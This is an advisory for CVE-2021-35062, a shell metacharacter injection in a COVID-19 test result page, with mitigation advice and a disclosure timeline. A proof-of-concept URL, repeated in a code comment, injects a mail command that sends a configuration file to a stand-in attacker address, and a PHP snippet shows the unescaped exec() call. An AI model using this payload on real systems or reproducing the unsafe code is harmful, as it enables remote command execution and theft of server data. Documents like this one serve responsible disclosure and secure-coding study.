CVE-2021-35062

Vulnerability information

A **Shell Metacharacter Injection** vulnerability in result.php in DRK Odenwaldkreis Testerfassung March-2021 allow an attacker with a valid token of a COVID-19 test result to execute shell commands with the permissions of the web server

Vulnerability description

Shell Metacharcters (";", "&&", "||", and so on) can be injected when an attacker has a valid Covid-19 Test result. The code can be for example the Unix mail command, which can be used to send files on the web server to the attackers email address. The vulnerability have been demonstrated and have been confirmed by the developers in code version March-2021. DRK Odenwaldkreis and developers were contacted, vulnerability was reported, confirmed and fixed in latest software release.

Mitigation

Mitigation can be accomplished by filtering input with PHP function **escapeshellarg()** and **escapeshellcmd()**

Technical Description

Injection of UNIX mail command to demonstrate the ability to send a mail containing a file to the attackers email.

```
result.php?TOKEN=1234567890;mail attacker@example.com < /path/to/file/config.cfg
```

The **$_POST** and **$_GET** variables passed from HTML forms should be passed to an **input filtering** function which checks for allowed characters, cast the type of the variable (integer, float, string) and use **escapeshellarg()** and **escapeshellcmd()**

```
/**
 * Input from $_POST (or $_GET) is not filtered.
 *
 * Mitigation: Input filtering, Allow list, deny of manipulated input,
 * PHP escape function escapeshellarg() and escapeshellcmd().
 *
 * PHP exec() function can execute:
 * job.py 1234567890;mail attacker@example.com < /path/to/file/config.cfg
 */
$job="python3 job.py $token";
exec($job,$script_output);
```

Disclosure timeline

- 2021-05-31 Contacted DRK Odenwaldkreis by phone to report Multiple Cross Site Scripting vulnerabilities
- 2021-05-31 Contacted by developers by phone, send report and analysis to developers
- 2021-06-02 Reviewed parts of source code and performed tests like directory listing, added additional findings and informed developers
- 2021-06-06 Reported Shell Metacharacter Injection vulnerability and send proof of concept
- 2021-06-11 Asked Hessen Cyber Competence Center for consultation for responsible disclosure process
- 2021-06-12 Explained in detail proof of concept of Shell Metacharacter Injection. Attacker requires a valid test token, possible to execute code
- 2021-06-18 Tested again for XSS in web applications form fields, XSS still present. Contacted developers and informed that XSS vulnerability is not fixed
- 2021-06-18 Requested to reserve two CVE at mitre.org. CVE-2021-35061 and CVE-2021-35062 were reserved
- 2021-08-30 Publication of CVE after 90 days (similar to Google Project Zero disclosure timeline)